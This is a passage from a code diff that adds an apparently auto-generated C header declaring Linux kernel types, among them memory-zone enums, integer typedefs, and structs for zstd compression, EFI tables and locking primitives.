2, +}; + +enum zone_flags { + ZONE_BOOSTED_WATERMARK = 0, + ZONE_RECLAIM_ACTIVE = 1, + ZONE_BELOW_HIGH = 2, +}; + +enum zone_stat_item { + NR_FREE_PAGES = 0, + NR_ZONE_LRU_BASE = 1, + NR_ZONE_INACTIVE_ANON = 1, + NR_ZONE_ACTIVE_ANON = 2, + NR_ZONE_INACTIVE_FILE = 3, + NR_ZONE_ACTIVE_FILE = 4, + NR_ZONE_UNEVICTABLE = 5, + NR_ZONE_WRITE_PENDING = 6, + NR_MLOCK = 7, + NR_BOUNCE = 8, + NR_FREE_CMA_PAGES = 9, + NR_VM_ZONE_STAT_ITEMS = 10, +}; + +enum zone_type { + ZONE_DMA = 0, + ZONE_DMA32 = 1, + ZONE_NORMAL = 2, + ZONE_MOVABLE = 3, + __MAX_NR_ZONES = 4, +}; + +enum zone_watermarks { + WMARK_MIN = 0, + WMARK_LOW = 1, + WMARK_HIGH = 2, + WMARK_PROMO = 3, + NR_WMARK = 4, +}; + +enum zpool_mapmode { + ZPOOL_MM_RW = 0, + ZPOOL_MM_RO = 1, + ZPOOL_MM_WO = 2, + ZPOOL_MM_DEFAULT = 0, +}; + +enum zswap_init_type { + ZSWAP_UNINIT = 0, + ZSWAP_INIT_SUCCEED = 1, + ZSWAP_INIT_FAILED = 2, +}; + +typedef _Bool bool; + +typedef char acpi_bus_id[8]; + +typedef char acpi_device_class[20]; + +typedef char acpi_device_name[40]; + +typedef char *acpi_string; + +typedef const char (* const ethnl_string_array_t)[32]; + +typedef int __kernel_clockid_t; + +typedef int __kernel_daddr_t; + +typedef int __kernel_ipc_pid_t; + +typedef int __kernel_key_t; + +typedef int __kernel_mqd_t; + +typedef int __kernel_pid_t; + +typedef int __kernel_rwf_t; + +typedef int __kernel_timer_t; + +typedef int __s32; + +typedef int class_get_unused_fd_t; + +typedef __kernel_clockid_t clockid_t; + +typedef __s32 s32; + +typedef s32 compat_int_t; + +typedef s32 compat_ssize_t; + +typedef int cydp_t; + +typedef s32 dma_cookie_t; + +typedef int ext4_grpblk_t; + +typedef int folio_walk_flags_t; + +typedef int fpb_t; + +typedef int fpi_t; + +typedef int initcall_entry_t; + +typedef int insn_value_t; + +typedef s32 int32_t; + +typedef int32_t key_serial_t; + +typedef __kernel_key_t key_t; + +typedef int mpi_size_t; + +typedef __kernel_mqd_t mqd_t; + +typedef s32 old_time32_t; + +typedef int pci_power_t; + +typedef __kernel_pid_t pid_t; + +typedef int rmap_t; + +typedef __kernel_rwf_t rwf_t; + +typedef int suspend_state_t; + +typedef __kernel_timer_t timer_t; + +typedef const int tracepoint_ptr_t; + +typedef long __kernel_long_t; + +typedef __kernel_long_t __kernel_clock_t; + +typedef __kernel_long_t __kernel_off_t; + +typedef __kernel_long_t __kernel_old_time_t; + +typedef __kernel_long_t __kernel_ptrdiff_t; + +typedef __kernel_long_t __kernel_ssize_t; + +typedef __kernel_long_t __kernel_suseconds_t; + +typedef __kernel_clock_t clock_t; + +typedef long intptr_t; + +typedef long mpi_limb_signed_t; + +typedef __kernel_off_t off_t; + +typedef __kernel_ptrdiff_t ptrdiff_t; + +typedef __kernel_ssize_t ssize_t; + +typedef __kernel_suseconds_t suseconds_t; + +typedef long long __s64; + +typedef __s64 Elf64_Sxword; + +typedef long long __kernel_loff_t; + +typedef long long __kernel_time64_t; + +typedef __s64 s64; + +typedef s64 int64_t; + +typedef s64 ktime_t; + +typedef __kernel_loff_t loff_t; + +typedef long long qsize_t; + +typedef __s64 time64_t; + +typedef short __s16; + +typedef __s16 s16; + +typedef s16 int16_t; + +typedef int16_t S16; + +typedef signed char __s8; + +typedef __s8 s8; + +typedef unsigned __int128 __u128; + +typedef __u128 u128; + +typedef u128 freelist_full_t; + +typedef unsigned char __u8; + +typedef __u8 u8; + +typedef u8 uint8_t; + +typedef uint8_t BYTE; + +typedef unsigned char Byte; + +typedef uint8_t U8; + +typedef u8 acpi_adr_space_type; + +typedef u8 blk_status_t; + +typedef unsigned char cc_t; + +typedef u8 dscp_t; + +typedef u8 efi_bool_t; + +typedef unsigned char insn_byte_t; + +typedef u8 kprobe_opcode_t; + +typedef __u8 mtrr_type; + +typedef u8 retpoline_thunk_t[32]; + +typedef unsigned char u_char; + +typedef u8 u_int8_t; + +typedef unsigned char uch; + +typedef u8 uprobe_opcode_t; + +typedef __u8 virtio_net_ctrl_ack; + +typedef unsigned int __u32; + +typedef __u32 Elf32_Addr; + +typedef __u32 Elf32_Off; + +typedef __u32 Elf32_Word; + +typedef __u32 Elf64_Word; + +typedef unsigned int FSE_CTable; + +typedef unsigned int FSE_DTable; + +typedef __u32 u32; + +typedef u32 uint32_t; + +typedef uint32_t U32; + +typedef U32 HUF_DTable; + +typedef unsigned int IPos; + +typedef unsigned int UHWtype; + +typedef __u32 __be32; + +typedef u32 __kernel_dev_t; + +typedef unsigned int __kernel_gid32_t; + +typedef unsigned int __kernel_gid_t; + +typedef unsigned int __kernel_mode_t; + +typedef unsigned int __kernel_uid32_t; + +typedef unsigned int __kernel_uid_t; + +typedef __u32 __le32; + +typedef unsigned int __poll_t; + +typedef __u32 __portpair; + +typedef __u32 __virtio32; + +typedef __u32 __wsum; + +typedef u32 acpi_event_status; + +typedef u32 acpi_mutex_handle; + +typedef u32 acpi_name; + +typedef u32 acpi_object_type; + +typedef u32 acpi_rsdesc_size; + +typedef u32 acpi_status; + +typedef unsigned int autofs_wqt_t; + +typedef unsigned int blk_features_t; + +typedef unsigned int blk_flags_t; + +typedef unsigned int blk_insert_t; + +typedef unsigned int blk_mode_t; + +typedef __u32 blk_mq_req_flags_t; + +typedef __u32 blk_opf_t; + +typedef unsigned int blk_qc_t; + +typedef u32 codel_time_t; + +typedef __u32 comp2_t; + +typedef u32 compat_caddr_t; + +typedef u32 compat_size_t; + +typedef u32 compat_uint_t; + +typedef u32 compat_ulong_t; + +typedef u32 compat_uptr_t; + +typedef __kernel_dev_t dev_t; + +typedef uint32_t drbg_flag_t; + +typedef u32 errseq_t; + +typedef unsigned int ext4_group_t; + +typedef __u32 ext4_lblk_t; + +typedef unsigned int fgf_t; + +typedef unsigned int fmode_t; + +typedef unsigned int fop_flags_t; + +typedef unsigned int gfp_t; + +typedef __kernel_gid32_t gid_t; + +typedef unsigned int ieee80211_rx_result; + +typedef unsigned int ieee80211_tx_result; + +typedef unsigned int insn_attr_t; + +typedef unsigned int iov_iter_extraction_t; + +typedef unsigned int isolate_mode_t; + +typedef unsigned int iwl_ucode_tlv_api_t; + +typedef unsigned int iwl_ucode_tlv_capa_t; + +typedef unsigned int kasan_vmalloc_flags_t; + +typedef uint32_t key_perm_t; + +typedef __kernel_mode_t mode_t; + +typedef u32 nlink_t; + +typedef u32 note_buf_t[92]; + +typedef __u32 nvme_submit_flags_t; + +typedef unsigned int pci_channel_state_t; + +typedef unsigned int pci_ers_result_t; + +typedef unsigned int pgtbl_mod_mask; + +typedef u32 phandle; + +typedef u32 phys_cpuid_t; + +typedef __kernel_uid32_t projid_t; + +typedef U32 rankValCol_t[13]; + +typedef __u32 req_flags_t; + +typedef unsigned int sk_buff_data_t; + +typedef unsigned int slab_flags_t; + +typedef unsigned int speed_t; + +typedef unsigned int t_key; + +typedef unsigned int tcflag_t; + +typedef unsigned int tid_t; + +typedef unsigned int uInt; + +typedef unsigned int u_int; + +typedef u32 u_int32_t; + +typedef __kernel_uid32_t uid_t; + +typedef unsigned int uint; + +typedef u32 unicode_t; + +typedef unsigned int upstat_t; + +typedef u32 usb_port_location_t; + +typedef unsigned int vm_fault_t; + +typedef unsigned int xa_mark_t; + +typedef u32 xdp_features_t; + +typedef unsigned int zap_flags_t; + +typedef unsigned long __kernel_ulong_t; + +typedef __kernel_ulong_t __kernel_size_t; + +typedef __kernel_size_t size_t; + +typedef size_t HUF_CElt; + +typedef unsigned long mpi_limb_t; + +typedef mpi_limb_t UWtype; + +typedef unsigned long __kernel_old_dev_t; + +typedef __kernel_ulong_t aio_context_t; + +typedef unsigned long efi_status_t; + +typedef unsigned long elf_greg_t; + +typedef elf_greg_t elf_gregset_t[27]; + +typedef __kernel_ulong_t ino_t; + +typedef unsigned long irq_hw_number_t; + +typedef unsigned long kernel_ulong_t; + +typedef unsigned long kimage_entry_t; + +typedef mpi_limb_t *mpi_ptr_t; + +typedef unsigned long netmem_ref; + +typedef unsigned long old_sigset_t; + +typedef unsigned long p4dval_t; + +typedef unsigned long perf_trace_t[1024]; + +typedef unsigned long pgdval_t; + +typedef unsigned long pgprotval_t; + +typedef unsigned long pmdval_t; + +typedef unsigned long pte_marker; + +typedef unsigned long pteval_t; + +typedef unsigned long pudval_t; + +typedef unsigned long uLong; + +typedef unsigned long uintptr_t; + +typedef unsigned long ulg; + +typedef unsigned long ulong; + +typedef unsigned long vm_flags_t; + +typedef unsigned long long __u64; + +typedef __u64 Elf64_Addr; + +typedef __u64 Elf64_Off; + +typedef __u64 Elf64_Xword; + +typedef __u64 u64; + +typedef u64 uint64_t; + +typedef uint64_t U64; + +typedef U64 ZSTD_VecMask; + +typedef __u64 __addrpair; + +typedef __u64 __be64; + +typedef __u64 __le64; + +typedef __u64 __virtio64; + +typedef u64 acpi_bus_address; + +typedef u64 acpi_integer; + +typedef u64 acpi_io_address; + +typedef u64 acpi_physical_address; + +typedef u64 acpi_size; + +typedef u64 async_cookie_t; + +typedef __u64 blist_flags_t; + +typedef u64 blkcnt_t; + +typedef unsigned long long cycles_t; + +typedef u64 dma_addr_t; + +typedef unsigned long long ext4_fsblk_t; + +typedef u64 gfn_t; + +typedef u64 gpa_t; + +typedef u64 hfn_t; + +typedef u64 hpa_t; + +typedef u64 io_req_flags_t; + +typedef hfn_t kvm_pfn_t; + +typedef unsigned long long llu; + +typedef u64 netdev_features_t; + +typedef u64 pci_bus_addr_t; + +typedef u64 phys_addr_t; + +typedef phys_addr_t resource_size_t; + +typedef u64 sci_t; + +typedef u64 sector_t; + +typedef __u64 timeu64_t; + +typedef u64 u_int64_t; + +typedef u64 unative_t; + +typedef u64 upf_t; + +typedef unsigned short __u16; + +typedef __u16 Elf32_Half; + +typedef __u16 Elf64_Half; + +typedef unsigned short ush; + +typedef ush Pos; + +typedef __u16 u16; + +typedef u16 uint16_t; + +typedef uint16_t U16; + +typedef __u16 __be16; + +typedef unsigned short __kernel_gid16_t; + +typedef unsigned short __kernel_sa_family_t; + +typedef unsigned short __kernel_uid16_t; + +typedef __u16 __le16; + +typedef __u16 __sum16; + +typedef __u16 __virtio16; + +typedef u16 acpi_owner_id; + +typedef u16 acpi_rs_length; + +typedef __u16 bitmap_counter_t; + +typedef u16 blk_short_t; + +typedef __u16 comp_t; + +typedef u16 efi_char16_t; + +typedef __kernel_gid16_t gid16_t; + +typedef unsigned short pci_bus_flags_t; + +typedef unsigned short pci_dev_flags_t; + +typedef __u16 port_id; + +typedef __kernel_sa_family_t sa_family_t; + +typedef u16 u_int16_t; + +typedef unsigned short u_short; + +typedef u16 ucs2_char_t; + +typedef __kernel_uid16_t uid16_t; + +typedef unsigned short umode_t; + +typedef unsigned short ushort; + +typedef u16 wchar_t; + +typedef struct { + size_t bitContainer; + unsigned int bitPos; + char *startPtr; + char *ptr; + char *endPtr; +} BIT_CStream_t; + +typedef struct { + size_t bitContainer; + unsigned int bitsConsumed; + const char *ptr; + const char *start; + const char *limitPtr; +} BIT_DStream_t; + +typedef struct { + BYTE maxTableLog; + BYTE tableType; + BYTE tableLog; + BYTE reserved; +} DTableDesc; + +typedef struct { + ptrdiff_t value; + const void *stateTable; + const void *symbolTT; + unsigned int stateLog; +} FSE_CState_t; + +typedef struct { + size_t state; + const void *table; +} FSE_DState_t; + +typedef struct { + U16 tableLog; + U16 fastMode; +} FSE_DTableHeader; + +typedef struct { + short ncount[256]; + FSE_DTable dtable[0]; +} FSE_DecompressWksp; + +typedef struct { + unsigned short newState; + unsigned char symbol; + unsigned char nbBits; +} FSE_decode_t; + +typedef struct { + int deltaFindState; + U32 deltaNbBits; +} FSE_symbolCompressionTransform; + +typedef struct { + size_t bitContainer[2]; + size_t bitPos[2]; + BYTE *startPtr; + BYTE *ptr; + BYTE *endPtr; +} HUF_CStream_t; + +typedef struct { + FSE_CTable CTable[59]; + U32 scratchBuffer[41]; + unsigned int count[13]; + S16 norm[13]; +} HUF_CompressWeightsWksp; + +typedef struct { + BYTE nbBits; + BYTE byte; +} HUF_DEltX1; + +typedef struct { + U16 sequence; + BYTE nbBits; + BYTE length; +} HUF_DEltX2; + +typedef struct { + U32 rankVal[13]; + U32 rankStart[13]; + U32 statsWksp[218]; + BYTE symbols[256]; + BYTE huffWeight[256]; +} HUF_ReadDTableX1_Workspace; + +typedef struct { + BYTE symbol; +} sortedSymbol_t; + +typedef struct { + rankValCol_t rankVal[12]; + U32 rankStats[13]; + U32 rankStart0[15]; + sortedSymbol_t sortedSymbol[256]; + BYTE weightList[256]; + U32 calleeWksp[218]; +} HUF_ReadDTableX2_Workspace; + +typedef struct { + HUF_CompressWeightsWksp wksp; + BYTE bitsToWeight[13]; + BYTE huffWeight[255]; +} HUF_WriteCTableWksp; + +struct nodeElt_s { + U32 count; + U16 parent; + BYTE byte; + BYTE nbBits; +}; + +typedef struct nodeElt_s nodeElt; + +typedef nodeElt huffNodeTable[512]; + +typedef struct { + U16 base; + U16 curr; +} rankPos; + +typedef struct { + huffNodeTable huffNodeTbl; + rankPos rankPosition[192]; +} HUF_buildCTable_wksp_tables; + +typedef struct { + unsigned int count[256]; + HUF_CElt CTable[257]; + union { + HUF_buildCTable_wksp_tables buildCTable_wksp; + HUF_WriteCTableWksp writeCTable_wksp; + U32 hist_wksp[1024]; + } wksps; +} HUF_compress_tables_t; + +struct buffer_head; + +typedef struct { + __le32 *p; + __le32 key; + struct buffer_head *bh; +} Indirect; + +struct list_head { + struct list_head *next; + struct list_head *prev; +}; + +typedef struct { + int counter; +} atomic_t; + +struct refcount_struct { + atomic_t refs; +}; + +typedef struct refcount_struct refcount_t; + +struct dentry; + +struct file; + +typedef struct { + struct list_head list; + unsigned long flags; + int offset; + int size; + char *magic; + char *mask; + const char *interpreter; + char *name; + struct dentry *dentry; + struct file *interp_file; + refcount_t users; +} Node; + +struct folio; + +typedef struct { + struct folio *v; +} Sector; + +typedef struct { + unsigned int offset; + unsigned int litLength; + unsigned int matchLength; + unsigned int rep; +} ZSTD_Sequence; + +typedef struct { + int collectSequences; + ZSTD_Sequence *seqStart; + size_t seqIndex; + size_t maxSequences; +} SeqCollector; + +typedef struct { + S16 norm[53]; + U32 wksp[285]; +} ZSTD_BuildCTableWksp; + +struct ZSTD_DDict_s; + +typedef struct ZSTD_DDict_s ZSTD_DDict; + +typedef struct { + const ZSTD_DDict **ddictPtrTable; + size_t ddictPtrTableSize; + size_t ddictPtrCount; +} ZSTD_DDictHashSet; + +struct seqDef_s; + +typedef struct seqDef_s seqDef; + +typedef struct { + seqDef *sequencesStart; + seqDef *sequences; + BYTE *litStart; + BYTE *lit; + BYTE *llCode; + BYTE *mlCode; + BYTE *ofCode; + size_t maxNbSeq; + size_t maxNbLit; + ZSTD_longLengthType_e longLengthType; + U32 longLengthPos; +} seqStore_t; + +typedef struct { + symbolEncodingType_e hType; + BYTE hufDesBuffer[128]; + size_t hufDesSize; +} ZSTD_hufCTablesMetadata_t; + +typedef struct { + symbolEncodingType_e llType; + symbolEncodingType_e ofType; + symbolEncodingType_e mlType; + BYTE fseTablesBuffer[133]; + size_t fseTablesSize; + size_t lastCountSize; +} ZSTD_fseCTablesMetadata_t; + +typedef struct { + ZSTD_hufCTablesMetadata_t hufMetadata; + ZSTD_fseCTablesMetadata_t fseMetadata; +} ZSTD_entropyCTablesMetadata_t; + +typedef struct { + seqStore_t fullSeqStoreChunk; + seqStore_t firstHalfSeqStore; + seqStore_t secondHalfSeqStore; + seqStore_t currSeqStore; + seqStore_t nextSeqStore; + U32 partitions[196]; + ZSTD_entropyCTablesMetadata_t entropyMetadata; +} ZSTD_blockSplitCtx; + +typedef struct { + HUF_CElt CTable[257]; + HUF_repeat repeatMode; +} ZSTD_hufCTables_t; + +typedef struct { + FSE_CTable offcodeCTable[193]; + FSE_CTable matchlengthCTable[363]; + FSE_CTable litlengthCTable[329]; + FSE_repeat offcode_repeatMode; + FSE_repeat matchlength_repeatMode; + FSE_repeat litlength_repeatMode; +} ZSTD_fseCTables_t; + +typedef struct { + ZSTD_hufCTables_t huf; + ZSTD_fseCTables_t fse; +} ZSTD_entropyCTables_t; + +typedef struct { + ZSTD_entropyCTables_t entropy; + U32 rep[3]; +} ZSTD_compressedBlockState_t; + +typedef struct { + const BYTE *nextSrc; + const BYTE *base; + const BYTE *dictBase; + U32 dictLimit; + U32 lowLimit; + U32 nbOverflowCorrections; +} ZSTD_window_t; + +typedef struct { + U32 off; + U32 len; +} ZSTD_match_t; + +typedef struct { + int price; + U32 off; + U32 mlen; + U32 litlen; + U32 rep[3]; +} ZSTD_optimal_t; + +typedef struct { + unsigned int *litFreq; + unsigned int *litLengthFreq; + unsigned int *matchLengthFreq; + unsigned int *offCodeFreq; + ZSTD_match_t *matchTable; + ZSTD_optimal_t *priceTable; + U32 litSum; + U32 litLengthSum; + U32 matchLengthSum; + U32 offCodeSum; + U32 litSumBasePrice; + U32 litLengthSumBasePrice; + U32 matchLengthSumBasePrice; + U32 offCodeSumBasePrice; + ZSTD_OptPrice_e priceType; + const ZSTD_entropyCTables_t *symbolCosts; + ZSTD_paramSwitch_e literalCompressionMode; +} optState_t; + +typedef struct { + unsigned int windowLog; + unsigned int chainLog; + unsigned int hashLog; + unsigned int searchLog; + unsigned int minMatch; + unsigned int targetLength; + ZSTD_strategy strategy; +} ZSTD_compressionParameters; + +typedef struct { + U32 offset; + U32 litLength; + U32 matchLength; +} rawSeq; + +typedef struct { + rawSeq *seq; + size_t pos; + size_t posInSequence; + size_t size; + size_t capacity; +} rawSeqStore_t; + +struct ZSTD_matchState_t; + +typedef struct ZSTD_matchState_t ZSTD_matchState_t; + +struct ZSTD_matchState_t { + ZSTD_window_t window; + U32 loadedDictEnd; + U32 nextToUpdate; + U32 hashLog3; + U32 rowHashLog; + U16 *tagTable; + U32 hashCache[8]; + U32 *hashTable; + U32 *hashTable3; + U32 *chainTable; + U32 forceNonContiguous; + int dedicatedDictSearch; + optState_t opt; + const ZSTD_matchState_t *dictMatchState; + ZSTD_compressionParameters cParams; + const rawSeqStore_t *ldmSeqStore; +}; + +typedef struct { + ZSTD_compressedBlockState_t *prevCBlock; + ZSTD_compressedBlockState_t *nextCBlock; + ZSTD_matchState_t matchState; +} ZSTD_blockState_t; + +typedef struct { + size_t error; + int lowerBound; + int upperBound; +} ZSTD_bounds; + +typedef struct { + U32 f1c; + U32 f1d; + U32 f7b; + U32 f7c; +} ZSTD_cpuid_t; + +typedef void * (*ZSTD_allocFunction)(void *, size_t); + +typedef void (*ZSTD_freeFunction)(void *, void *); + +typedef struct { + ZSTD_allocFunction customAlloc; + ZSTD_freeFunction customFree; + void *opaque; +} ZSTD_customMem; + +typedef struct { + void *workspace; + void *workspaceEnd; + void *objectEnd; + void *tableEnd; + void *tableValidEnd; + void *allocStart; + BYTE allocFailed; + int workspaceOversizedDuration; + ZSTD_cwksp_alloc_phase_e phase; + ZSTD_cwksp_static_alloc_e isStatic; +} ZSTD_cwksp; + +typedef struct { + U16 nextState; + BYTE nbAdditionalBits; + BYTE nbBits; + U32 baseValue; +} ZSTD_seqSymbol; + +typedef struct { + ZSTD_seqSymbol LLTable[513]; + ZSTD_seqSymbol OFTable[257]; + ZSTD_seqSymbol MLTable[513]; + HUF_DTable hufTable[4097]; + U32 rep[3]; + U32 workspace[157]; +} ZSTD_entropyDTables_t; + +typedef struct { + unsigned long long frameContentSize; + unsigned long long windowSize; + unsigned int blockSizeMax; + ZSTD_frameType_e frameType; + unsigned int headerSize; + unsigned int dictID; + unsigned int checksumFlag; +} ZSTD_frameHeader; + +typedef struct { + int contentSizeFlag; + int checksumFlag; + int noDictIDFlag; +} ZSTD_frameParameters; + +typedef struct { + unsigned long long ingested; + unsigned long long consumed; + unsigned long long produced; + unsigned long long flushed; + unsigned int currentJobID; + unsigned int nbActiveWorkers; +} ZSTD_frameProgression; + +typedef struct { + size_t compressedSize; + unsigned long long decompressedBound; +} ZSTD_frameSizeInfo; + +typedef struct { + size_t state; + const ZSTD_seqSymbol *table; +} ZSTD_fseState; + +struct ZSTD_CDict_s; + +typedef struct ZSTD_CDict_s ZSTD_CDict; + +typedef struct { + void *dictBuffer; + const void *dict; + size_t dictSize; + ZSTD_dictContentType_e dictContentType; + ZSTD_CDict *cdict; +} ZSTD_localDict; + +typedef struct { + rawSeqStore_t seqStore; + U32 startPosInBlock; + U32 endPosInBlock; + U32 offset; +} ZSTD_optLdm_t; + +typedef struct { + ZSTD_compressionParameters cParams; + ZSTD_frameParameters fParams; +} ZSTD_parameters; + +typedef struct { + U32 fastMode; + U32 tableLog; +} ZSTD_seqSymbol_header; + +typedef struct { + U32 litLength; + U32 matchLength; +} ZSTD_sequenceLength; + +typedef struct { + U32 idx; + U32 posInSequence; + size_t posInSrc; +} ZSTD_sequencePosition; + +typedef struct { + U32 LLtype; + U32 Offtype; + U32 MLtype; + size_t size; + size_t lastCountSize; +} ZSTD_symbolEncodingTypeStats_t; + +typedef struct { + unsigned long fds_bits[16]; +} __kernel_fd_set; + +typedef struct { + int val[2]; +} __kernel_fsid_t; + +struct page; + +typedef union { + unsigned long addr; + struct page *page; + dma_addr_t dma; +} addr_conv_t; + +typedef struct { + U32 tableTime; + U32 decode256Time; +} algo_time_t; + +typedef struct { + s64 counter; +} atomic64_t; + +typedef atomic64_t atomic_long_t; + +typedef struct { + __be64 a; + __be64 b; +} be128; + +typedef struct { + blockType_e blockType; + U32 lastBlock; + U32 origSize; +} blockProperties_t; + +typedef struct { + union { + void *kernel; + void __attribute__((btf_type_tag("user"))) *user; + }; + bool is_kernel: 1; +} sockptr_t; + +typedef sockptr_t bpfptr_t; + +typedef struct { + unsigned int interval; + unsigned int timeout; +} cisco_proto; + +typedef struct { + int *lock; + unsigned long flags; +} class_core_lock_t; + +typedef struct { + void *lock; +} class_cpus_read_lock_t; + +struct rq; + +typedef struct { + struct rq *lock; + struct rq *lock2; +} class_double_rq_lock_t; + +typedef struct { + void *lock; +} class_irq_t; + +typedef struct { + void *lock; + unsigned long flags; +} class_irqsave_t; + +typedef struct { + void *lock; +} class_preempt_t; + +struct raw_spinlock; + +typedef struct raw_spinlock raw_spinlock_t; + +typedef struct { + raw_spinlock_t *lock; +} class_raw_spinlock_irq_t; + +typedef struct { + raw_spinlock_t *lock; + unsigned long flags; +} class_raw_spinlock_irqsave_t; + +typedef struct { + raw_spinlock_t *lock; +} class_raw_spinlock_t; + +typedef struct { + void *lock; +} class_rcu_t; + +struct qspinlock { + union { + atomic_t val; + struct { + u8 locked; + u8 pending; + }; + struct { + u16 locked_pending; + u16 tail; + }; + }; +}; + +typedef struct qspinlock arch_spinlock_t; + +struct qrwlock { + union { + atomic_t cnts; + struct { + u8 wlocked; + u8 __lstate[3]; + }; + }; + arch_spinlock_t wait_lock; +}; + +typedef struct qrwlock arch_rwlock_t; + +struct lock_class_key; + +struct lock_class; + +struct lockdep_map { + struct lock_class_key *key; + struct lock_class *class_cache[2]; + const char *name; + u8 wait_type_outer; + u8 wait_type_inner; + u8 lock_type; +}; + +typedef struct { + arch_rwlock_t raw_lock; + unsigned int magic; + unsigned int owner_cpu; + void *owner; + struct lockdep_map dep_map; +} rwlock_t; + +typedef struct { + rwlock_t *lock; +} class_read_lock_t; + +struct pin_cookie { + unsigned int val; +}; + +struct rq_flags { + unsigned long flags; + struct pin_cookie cookie; + unsigned int clock_update_flags; +}; + +typedef struct { + struct rq *lock; + struct rq_flags rf; +} class_rq_lock_irq_t; + +typedef struct { + struct rq *lock; + struct rq_flags rf; +} class_rq_lock_irqsave_t; + +typedef struct { + struct rq *lock; + struct rq_flags rf; +} class_rq_lock_t; + +struct spinlock; + +typedef struct spinlock spinlock_t; + +typedef struct { + spinlock_t *lock; +} class_spinlock_irq_t; + +typedef struct { + spinlock_t *lock; + unsigned long flags; +} class_spinlock_irqsave_t; + +typedef struct { + spinlock_t *lock; +} class_spinlock_t; + +struct task_struct; + +typedef struct { + struct task_struct *lock; + struct rq *rq; + struct rq_flags rf; +} class_task_rq_lock_t; + +typedef struct { + rwlock_t *lock; +} class_write_lock_irq_t; + +typedef struct { + rwlock_t *lock; +} class_write_lock_t; + +typedef struct { + unsigned char op; + unsigned char bits; + unsigned short val; +} code; + +typedef struct { + unsigned long bits[1]; +} dma_cap_mask_t; + +typedef struct { + __u8 b[16]; +} guid_t; + +typedef guid_t efi_guid_t; + +typedef struct { + efi_guid_t guid; + u32 headersize; + u32 flags; + u32 imagesize; +} efi_capsule_header_t; + +typedef struct { + efi_guid_t guid; + u32 table; +} efi_config_table_32_t; + +typedef struct { + efi_guid_t guid; + u64 table; +} efi_config_table_64_t; + +typedef union { + struct { + efi_guid_t guid; + void *table; + }; + efi_config_table_32_t mixed_mode; +} efi_config_table_t; + +typedef struct { + efi_guid_t guid; + unsigned long *ptr; + const char name[16]; +} efi_config_table_type_t; + +typedef struct { + u32 type; + u32 pad; + u64 phys_addr; + u64 virt_addr; + u64 num_pages; + u64 attribute; +} efi_memory_desc_t; + +typedef struct { + u32 version; + u32 num_entries; + u32 desc_size; + u32 flags; + efi_memory_desc_t entry[0]; +} efi_memory_attributes_table_t; + +typedef struct { + u32 version; + u32 length; + u64 memory_protection_attribute; +} efi_properties_table_t; + +typedef struct { + u16 version; + u16 length; + u32 runtime_services_supported; +} efi_rt_properties_table_t; + +typedef struct { + u64 signature; + u32 revision; + u32 headersize; + u32 crc32; + u32 reserved; +} efi_table_hdr_t; + +typedef struct { + efi_table_hdr_t hdr; + u32 get_time; + u32 set_time; + u32 get_wakeup_time; + u32 set_wakeup_time; + u32 set_virtual_address_map; + u32 convert_pointer; + u32 get_variable; + u32 get_next_variable; + u32 set_variable; + u32 get_next_high_mono_count; + u32 reset_system; + u32 update_capsule; + u32 query_capsule_caps; + u32 query_variable_info; +} efi_runtime_services_32_t; + +typedef struct { + u16 year; + u8 month; + u8 day; + u8 hour; + u8 minute; + u8 second; + u8 pad1; + u32 nanosecond; + s16 timezone; + u8 daylight; + u8 pad2; +} efi_time_t; + +typedef struct { + u32 resolution; + u32 accuracy; + u8 sets_to_zero; +} efi_time_cap_t; + +typedef union { + struct { + efi_table_hdr_t hdr; + efi_status_t (*get_time)(efi_time_t *, efi_time_cap_t *); + efi_status_t (*set_time)(efi_time_t *); + efi_status_t (*get_wakeup_time)(efi_bool_t *, efi_bool_t *, efi_time_t *); + efi_status_t (*set_wakeup_time)(efi_bool_t, efi_time_t *); + efi_status_t (*set_virtual_address_map)(unsigned long, unsigned long, u32, efi_memory_desc_t *); + void *convert_pointer; + efi_status_t (*get_variable)(efi_char16_t *, efi_guid_t *, u32 *, unsigned long *, void *); + efi_status_t (*get_next_variable)(unsigned long *, efi_char16_t *, efi_guid_t *); + efi_status_t (*set_variable)(efi_char16_t *, efi_guid_t *, u32, unsigned long, void *); + efi_status_t (*get_next_high_mono_count)(u32 *); + void (*reset_system)(int, efi_status_t, unsigned long, efi_char16_t *); + efi_status_t (*update_capsule)(efi_capsule_header_t **, unsigned long, unsigned long); + efi_status_t (*query_capsule_caps)(efi_capsule_header_t **, unsigned long, u64 *, int *); + efi_status_t (*query_variable_info)(u32, u64 *, u64 *, u64 *); + }; + efi_runtime_services_32_t mixed_mode; +} efi_runtime_services_t; + +typedef struct { + efi_table_hdr_t hdr; + u32 fw_vendor; + u32 fw_revision; + u32 con_in_handle; + u32 con_in; + u32 con_out_handle; + u32 con_out; + u32 stderr_handle; + u32 stderr; + u32 runtime; + u32 boottime; + u32 nr_tables; + u32 tables; +} efi_system_table_32_t; + +typedef struct { + efi_table_hdr_t hdr; + u64 fw_vendor; + u32 fw_revision; + u32 __pad1; + u64 con_in_handle; + u64 con_in; + u64 con_out_handle; + u64 con_out; + u64 stderr_handle; + u64 stderr; + u64 runtime; + u64 boottime; + u32 nr_tables; + u32 __pad2; + u64 tables; +} efi_system_table_64_t; + +union efi_simple_text_input_protocol; + +typedef union efi_simple_text_input_protocol efi_simple_text_input_protocol_t; + +union efi_simple_text_output_protocol; + +typedef union efi_simple_text_output_protocol efi_simple_text_output_protocol_t; + +union efi_boot_services; + +typedef union efi_boot_services efi_boot_services_t; + +typedef union { + struct { + efi_table_hdr_t hdr; + unsigned long fw_vendor; + u32 fw_revision; + unsigned long con_in_handle; + efi_simple_text_input_protocol_t *con_in; + unsigned long con_out_handle; + efi_simple_text_output_protocol_t *con_out; + unsigned long stderr_handle; + unsigned long stderr; + efi_runtime_services_t *runtime; + efi_boot_services_t *boottime; + unsigned long nr_tables; + unsigned long tables; + }; + efi_system_table_32_t mixed_mode; +} efi_system_table_t; + +typedef struct { + __le16 e_tag; + __le16 e_perm; + __le32 e_id; +} ext4_acl_entry; + +typedef struct { + __le32 a_version; +} ext4_acl_header; + +typedef __kernel_fd_set fd_set; + +typedef struct { + unsigned long *in; + unsigned long *out; + unsigned long *ex; + unsigned long *res_in; + unsigned long *res_out; + unsigned long *res_ex; +} fd_set_bits; + +typedef struct { + unsigned int t391; + unsigned int t392; + unsigned int n391; + unsigned int n392; + unsigned int n393; + unsigned short lmi; + unsigned short dce; +} fr_proto; + +typedef struct { + unsigned int dlci; +} fr_proto_pvc; + +typedef struct { + unsigned int dlci; + char master[16]; +} fr_proto_pvc_info; + +typedef union { + struct { + void *freelist; + unsigned long counter; + }; + freelist_full_t full; +} freelist_aba_t; + +typedef struct { + unsigned long v; +} freeptr_t; + +typedef struct { + unsigned long key[2]; +} 